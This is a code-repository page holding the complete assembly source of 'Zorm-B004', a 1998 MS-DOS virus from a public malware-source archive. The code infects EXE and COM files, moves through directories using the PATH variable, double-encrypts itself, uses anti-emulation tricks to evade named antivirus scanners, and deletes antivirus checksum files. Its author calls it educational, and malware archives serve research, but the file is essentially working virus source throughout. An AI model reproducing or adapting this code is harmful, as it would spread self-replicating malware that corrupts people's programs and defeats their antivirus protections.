13
1
mirror of https://github.com/vxunderground/MalwareSourceCode synced 2024-06-16 03:58:34 +00:00
vxug-MalwareSourceCode/MSDOS/Virus.MSDOS.Zorm.asm
vxunderground 2c18b9a798 mov fix
2022-08-21 04:17:12 -05:00

872 lines
27 KiB
NASM

;
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ\ ÛÛÛÛÛÛÛÛÛÛÛÛ\ ÛÛÛÛÛÛÛÛÛÛÛÛÛÛ\ ÛÛ\ ÛÛ\
; ÜÛÛÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛÛ\ ÛÛÛÛ\ ÛÛÛÛ\
; ÜÛÛÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\
; ÜÛÛÛÛ\ ÛÛ\ ÛÛ\ ÛÛÛÛÛÛÛÛÛÛÛÛ\ \ ÛÛ\ ÛÛ\ ÛÛ\
; ÜÛÛÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\
; ÜÛÛÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\
; ÜÛÛÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\
; ÜÛÛÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\
; ÜÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ\ ÛÛÛÛÛÛÛÛÛÛÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\
;
;(C)By Dr L. from Lamer Corporation March/July 1998
;
;Description:
; - Name:..........Zorm-B004
; - Mode:..........Direct infector no TSR
; - Target:..........Exe/Com of Msdos (even com of dos7+)
; - Status:..........Not detected by Tbav806,F-prot301,228
; dr.Web,Avp30,nod-ice,findvirus786
; (2nd+ generations)
; - Description:
; This virus infects 2 exe+2 com files when executed.
; Can change of directory by using both dot-dot method
; and the path variable of dos environnment.
; It doesnt contain nasty routines.
; Its twice encrypted and use several anti-emulation
; routines.It doesnt infect command.com and win.com
; of win95.
; It erases most checksums files made by anti-virus
; in the directories where it have found targets to
; infect.
; Anti-lamer routine included :)
;
; - Disclaimer:
; This virus was written for research and educationnal
; purposes.
; Its the 4th version of this serie.
; I have fixed some bugs.
; But one problem still remains:
; This virus can damaged win.com/command.com of
; win31 when executed or maybe all can be fine
; i cant study this problem cause i dont have
; win31!
;
;
; Compile :tasm/m2 ,tlink/t
;
.model tiny ;memory model
.code ;size <65536
org 100h ;its a com file
;-------------------------Beginning---of----loader----------------------
start1:
db 0e9h,1,0 ;jmp 001 byte forward
db 'V' ;infection mark
push ds ;save dx for later
push cs ;set ds=cs
pop ds ;
mov word ptr [_ds],ds ;save original ds for
;later
mov byte ptr [com_virus],0 ;for the first time
;you have to do that
;(read below)
mov bp,0 ;set bp the delta offset
;to zero.No shift to begin
jmp over_there
;---------------------------End-----of------loader----------------------
;----------------------------Beginning--of--virus-----------------------
start:
xor dx,dx ;set dx=0 for stability
mov cx,end_2nd-begin_2nd ;cx=nber of bytes to decrypt
xor ax,ax
int 15h
cmp ah,86h ;thanx to yesna to show me this
jz itsok ;trick ;)
mov ah,4ch
int 21h
itsok:
mov ah,3dh ;anti-emulation trick. function 3dh
int 21h ;int 21h= open file function.ds:dx
;mov al,02h ;have to point to file name.
;but ds:dx points tojunk so dos returns
;al=02h.We use this value to decrypt
db 04h ;=add al,10h
value db 10h ;
db 0bbh ;mov bx,patch
patch: ;patch=addr of begin_2nd.
dw 0 ;patch will be set later.
;settings for decrypt bytes between begin_2nd and end_second is over.
;--------------------------------------------------------
;crypt/decrypt "routine"
;
;remark: _ret will be changed into "ret" to transform this part
;in a real asm routine.
crypt:
turn_again:
xor byte ptr cs:[bx],al
inc bx
loop turn_again
_ret: ;
ret ;to be replaced
;--------------------------------------------------------
begin_2nd:
db 2eh,0c6h,06h ;=mov byte ptr cs:[ret_addr],c3h
ret_addr: ;
dw 0 ;(ret_addr=address where to put 'ret'.
db 0c3h ;c3h=opcode for "ret")
db 0bbh ;=mov bx,0000h
patch2: ;
dw 0 ;(patch2=addr of beginning of begin_main)
db 0b0h ;=mov al,2
_al: ;
db 2 ;
;(_al=xor key.Not fixed value during
;infection scheme.see below)
mov cx,end_main-begin_main ;setting to decrypt bytes between
;label begin_main and end_main is
;complete
call crypt ;decrypt now!
end_2nd:
begin_main:
mov ax,ss ;if cs=ss i'm a com
mov cx,cs ;
cmp ax,cx ;if not,i'm exe!
jz im_com ;
im_exe:
cli ;
mov ax,ss ;reset ss=cs
dec ax ;at the start ss=cs+1 to avoid
mov ss,ax ;"k" flag of tbav.Maybe its a
sti ;lame way to do that but dont know
;how to use an other way.
call compute_delta
push ds ;save ds for later
push cs ;set ds=cs
pop ds ;
mov byte ptr [com_virus+bp],0 ;i'm not a com (save this info
;for later)
jmp next_exe ;whats follow for a exe file host?
im_com:
push ds ;save it for later
compute_delta_offset:
call compute_delta
mov byte ptr [com_virus+bp],1 ;yep i'm a com file
next_exe:
pop ax ;set ax=original ds
mov word ptr [_ds+bp],ax ;set _ds=original ds
;you need it for pass
;control to host.
over_there: ;remember me?
;for the first execution
;no need to decrypt
push es ;save es
push cs ;set es=cs
pop es ;
cmp byte ptr [com_virus+bp],1 ;i'm a com?
jnz follow_me ;nope
lea si,store_bytes+bp ;yep i'm
mov di,100h ;ready to transfer byte from
;location "store_bytes" to
;beginning of (com) host.
;(remember the code of *.com
;begin to cs:100h in memory)
jmp transfer
follow_me:
;cld
lea si,store+bp ;transfer from label "store"
lea di,old+bp ;to label "old"
movsw ;(set the correct values, segment:
movsw ;offset for the return to host.)
transfer:
movsw ;you came from "mov di,100h"? ok
movsw ;restore (in memory only) the 4 first
;originals bytes of host.
;you came from "follow me"? ok restore
;originals cs:ip and ss:sp found in
;host (exe) header
pop es ;beware im back!
lea dx,new_dta+bp ;dont modify dta!
call set_dta ;change it!
mov byte ptr [flag_com+bp],'E' ;at first we want to infect Exe
push es ;see you later!
create_new_int24h_handler:
mov ax,3524h ;
int 21h ;save original handler
mov word ptr [bp+old_int24h],bx ;of int 24h for restore
mov word ptr [bp+old_int24h+2],es ;it later.
mov ah,25h ;set a new handler for
lea dx,bp+int_24h ;int 24h.
int 21h ;so dos dont pop up
;a infamous error message if virus
;try to infect write protected
;disk.
pop es ;its me again babe!
count:
mov byte ptr [count_infect+bp],0 ;reset the counter to 0
;self explanory
get_dir:
mov ah,47h ;
lea si,current_dir+bp ;save the current directory
xor dl,dl ;for later when virus pass
int 21h ;control to host and the return to
;dos.the size of buffer is 64 bytes.
get_disk:
mov ah,19H ;from a:or b:or...virus is running?
int 21h ;
mov byte ptr [disk+bp],al ;
cmp al,02H ;virus infect c: not other drive.
;in practice .
jz search_begin_path ;but if you are running the virus
mov dl,02h ;from an drive ,not c:,it infects
mov ah,0eh ;drive c:.
int 21h ;
;-------------------------------------------------------------
;this part search the adress of first byte of the name of the
;first directory include in dos path
;remarks:
; es is destroyed by the routine
; es:di points to the address
; we are searching
search_begin_path:
mov ax,es:002ch ;es:002ch=address of segment where
mov es,ax ;to found in memory the dos path.
xor di,di ;
mov si,di
jmp suite
yet:
inc si
mov di,si
suite:
mov ax,'AP' ;
scasw ;
jnz yet ;
mov ax,'HT' ;search the string 'PATH='
scasw ;in memory
jnz yet ;
mov al,'=' ;
scasb ;
jnz yet ;
;---------------------------------------------------------------------------
;------------------------------------------------------------------
;main part of virus routine to search for files
;to infect.
pathdir: ;
call search ;go to search in current dir
again1: ;
jc parent ;no file found go to "parent"
call infect ;one file found infect it!
cmp byte ptr [count_infect+bp],2 ;
jz end_infect ;
call search_again ;
jmp again1 ;
parent:
call up_dir ;
jnc pathdir ;
change_to_c:
call change_path_dir ;
jnz pathdir ;
jmp end_infect ;
;------------------------------------------------------------------
infect:
mov ax,3d02h
lea dx,new_dta+1eh+bp
int 21h
read_header:
xchg ax,bx
mov ah,3fh
mov cx,1ch
lea dx,exe_header+bp
int 21h
test1:
cmp word ptr [exe_header+bp],'ZM';is it really an exe?
je test3
test2:
cmp word ptr [exe_header+bp],'MZ';idem
jne its_a_com
test3:
cmp word ptr [exe_header+bp+12h],'VI';infected?
je terminer ;yes,bye bye
test3b:
cmp word ptr [exe_header+bp+2],00c6h
jne test4
cmp word ptr [exe_header+bp+4],00b7h
je terminer
test4:
cmp word ptr [exe_header+bp+26],0 ;overlay=0?
jne terminer ;not,bye bye
test5:
cmp word ptr [exe_header+bp+24],40h ;windows exe?
je terminer ;yes ,adios :(
mov byte ptr [com_target+bp],0
jmp get_attributes
its_a_com:
test_com:
cmp byte ptr [exe_header+bp+3],'V'
jz terminer
test_win:
cmp word ptr [exe_header+4+bp],0e1fh
jnz not_win_com
cmp word ptr [exe_header+6+bp],0e807h
jz terminer
not_win_com:
jmp suit
end_infect:
jmp end_infect2
suit:
push di
push es
push cs
pop es
mov byte ptr [com_target+bp],1
lea si,exe_header+bp
lea di,store_bytes+bp
movsw
movsw
pop es
pop di
get_attributes:
mov ax,4300h
lea dx,new_dta+1eh+bp
int 21h
mov word ptr [attribute+bp],cx
set_attributes:
lea dx,new_dta+1eh+bp
call set_attrib
kill_crc_files:
;-----------------------------------------------
;delete crc files
lea dx,killfile1+bp
call set_attrib
call kill_file
jmp next
terminer:
jmp close_file
next:
lea dx,killfile2+bp
call set_attrib
call kill_file
lea dx,killfile3+bp
call set_attrib
call kill_file
;------------------------------------------------
get_time_date:
mov ax,5700h
int 21h
push cx
push dx
cmp byte ptr [com_target+bp],1
jz go_end_of_file
store_info_header:
mov ax,word ptr [exe_header+bp+0eh]
mov word ptr [store_ss+bp],ax
mov ax,word ptr [exe_header+bp+10h]
mov word ptr [store_sp+bp],ax
mov ax,word ptr [exe_header+bp+14h]
mov word ptr [store_ip+bp],ax
mov ax,word ptr [exe_header+bp+16h]
mov word ptr [store_cs+bp],ax
go_end_of_file:
call go_end
cmp byte ptr [com_target+bp],1
jnz next_exe_infect
sub ax,7
xchg ax,dx
mov cx,0
mov ax,4200h
int 21h
mov ah,03fh
mov cx,07h
lea dx,queue+(end_virus-start)+bp
int 21h
add word ptr [queue+(end_virus-start)+5+bp],end_virus-start+7
call go_end
mov cx,ax
sub ax,3
mov word ptr [jmp_bytes+bp+1],ax
add cx,100h
jmp change_patch
next_exe_infect:
push ax dx
compute_new_csip:
push ax
mov ax,word ptr [exe_header+bp+8]
mov cl,4
shl ax,cl
mov cx,ax
pop ax
sub ax,cx
sbb dx,0
mov cl,0ch
shl dx,cl
mov cl,4
push ax
shr ax,cl
add dx,ax
shl ax,cl
pop cx
sub cx,ax
change_header:
mov word ptr [exe_header+bp+14h],cx
mov word ptr [exe_header+bp+16h],dx
inc dx
mov word ptr [exe_header+bp+0eh],dx
mov word ptr [exe_header+bp+10h],0FF0h
mov word ptr [exe_header+bp+0ah],00FFh
mov word ptr [exe_header+bp+12h],'VI'
change_patch:
push cx
add cx,begin_main-start
mov word ptr [patch2+bp],cx
pop cx
push cx
add cx,_ret-start
mov word ptr [ret_addr+bp],cx
pop cx
add cx,begin_2nd-start
mov word ptr [patch+bp],cx
cmp byte ptr [com_target+bp],1
jz write_virus
pop dx ax
compute_size:
add ax,end_virus-start
adc dx,0
mov cx,512
div cx
cmp dx,0
je enough
inc ax
enough:
mov word ptr [exe_header+bp+04],ax
mov word ptr [exe_header+bp+02],dx
write_virus:
encipher:
call encrypt
;--------------------------------
;routine to avoid tbav "U" flag
;"U"=undocumented dos interrupt
;in fact tbav sets this flag
;if it finds "cdh,xyh" string
;where xy isnt a ordinary value
;for an interrupt.
lea si,queue+bp+(begin_2nd-start)
mov cx,end_virus-begin_2nd
test_int:
cmp byte ptr [si],0cdh
je encipher
inc si
loop test_int
;-------------------------------
;-------------------------------
;90h=nop replace 'ret' by 'nop'
;for the first execution of crypt
;routine by the target exe
;in the buffer before write it.
mov byte ptr [bp+queue+(_ret-start)],90h
;-------------------------------
;-------------------------------
;write the virus to the target file
mov ah,40h
mov cx,(end_virus-start)+7
lea dx,bp+queue
int 21h
;-------------------------------
;-------------------------------
;set the file pointer of target to
;the beginning.
go_beginning:
mov ax,4200h
xor cx,cx
cwd
int 21h
;-------------------------------
copy_new_header:
cmp byte ptr [com_target+bp],1
jnz copy_exe
lea dx,jmp_bytes+bp
mov cx,4
jmp go_copy
copy_exe:
mov cx,1ah
lea dx,exe_header+bp
go_copy:
mov ah,40h
int 21h
inc_counter:
inc byte ptr [count_infect+bp]
restore_file_attribute:
mov cx,attribute+bp
lea dx,1eh+bp+new_dta
mov ax,4301h
int 21h
restore_date_time:
mov ax,5701h
pop dx
pop cx
int 21h
close_file:
mov ah,3eh
int 21h
ret
end_infect2:
restore_disk:
mov dl,byte ptr [disk+bp]
mov ah,0Eh
int 21h
restore_directory:
mov ah,3bh
mov byte ptr [slash+bp],'\'
lea dx,[current_dir-1]+bp
int 21h
cmp byte ptr [flag_com+bp],'C'
jz exit
mov byte ptr [flag_com+bp],'C' ;set this flag to avoid
jmp count
exit:
restore_initial_ds_value:
mov ax,word ptr [_ds+bp]
push ax
pop ds
restore_initial_dta:
mov dx,80h
call set_dta
restore_initial_24h_interrupt:
push ds
mov ax,2524h
lds dx,bp+old_int24h
int 21h
pop ds
restore_initial_es:
push ds
pop es
cmp byte ptr [com_virus+bp],1
jnz finish_exe
return_com_host:
mov ax,100h
push ax
ret
finish_exe:
mov ax,es
add ax,10h
set_cs_of_host_to_run_it:
add word ptr cs:[old_cs+bp],ax
set_stack_of_host:
cli
add ax,word ptr cs:[bp+old_ss]
mov ss,ax
mov sp,word ptr cs:[bp+old_sp]
sti
go_to_host_code:
db 0eah ; :=jmp xxxx:yyyy
old:
old_ip dw 0 ; yyyy
old_cs dw 0 ; xxxx
old_sp dw 0
old_ss dw 0
store:
store_ip dw 0
store_cs dw 0fff0h
store_sp dw 0
store_ss dw 0fff0h
;-----------------------------------
;search in current directory.
search:
mov ah,4eh
cmp byte ptr [flag_com+bp],'C'
jnz its_exe
lea dx,com_file+bp
jmp its_com
its_exe:
lea dx,file_mask+bp
its_com:
mov cx,7
int 21h
ret
search_again:
mov ah,4fh
int 21h
ret
;-----------------------------------
;-----------------------------------
;change directory to parent dir.
up_dir:
mov ah,3bh
lea dx,dot_dot+bp
int 21h
ret
;-----------------------------------
;-----------------------------------
;find the next dir in dos path
;and set current dir=dir found.
change_path_dir:
lea si,new_dir+bp
notyet:
cmp byte ptr es:[di],';'
jz _end
cmp byte ptr es:[di],0
jz _end2
mov ah,byte ptr es:[di]
mov byte ptr [si],ah
inc di
inc si
jmp notyet
_end:
mov byte ptr [si],0
inc di
mov ah,3bh
lea dx,new_dir+bp
int 21h
ret
_end2:
xor ax,ax
ret
;------------------------------------------
encrypt:
push ax
push bx
change_xor_value:
mov al,byte ptr [_al+bp]
inc al
cmp al,0
jne more
inc al
more:
mov byte ptr [_al+bp],al
mov ah,byte ptr [value+bp]
inc ah
cmp ah,0
jne again
inc ah
again:
mov byte ptr [value+bp],ah
copy_virus_to_queue_buffer:
;cld
push di
push es
push cs
pop es
lea si,start+bp
lea di,queue+bp
mov cx,end_virus-start
rep movsb
pop es
pop di
crypt_main_part_of_virus_in_buffer:
mov cx,end_main-begin_main
lea bx,queue+(begin_main-start)+bp
call crypt
xchg al,ah
inc al
inc al
crypt_2nd_part_of_virus_in_buffer:
mov cx,end_2nd-begin_2nd
lea bx,queue+(begin_2nd-start)+bp
call crypt
pop bx
pop ax
ret
set_attrib:
mov ax,4301h
xor cx,cx
int 21h
ret
kill_file:
mov ah,41h
int 21h
ret
int_24h:
mov al,3
iret
set_dta:
mov ah,1ah
int 21h
ret
compute_delta:
call delta
delta:
pop bp
sub bp,offset delta
ret
go_end:
mov ax,4202h
xor cx,cx
cwd
int 21h
ret
signature db '(c)Zorm-b004 by Dr.L March/July98'
jmp_bytes db 0e9h,0,0,'V'
store_bytes db 90h,90h,0cdh,20h
killfile1 db 'anti-vir.dat',0
killfile2 db 'chklist.ms' ,0
killfile3 db 'chklist.cps' ,0
dot_dot db '..',0
file_mask db 'goat*.exe',0 ;anti-lamer routine
com_file db 'goat*.com',0
end_main:
end_virus:
com_target db ?
com_virus db ?
flag_com db ?
disk db ?
attribute dw ?
old_int24h dd ?
_ds dw ?
count_infect db ?
slash db ?
current_dir db 64 dup (?)
exe_header db 1ch dup (?)
new_dta db 43 dup (?)
new_dir db 64 dup (?)
queue:
end start1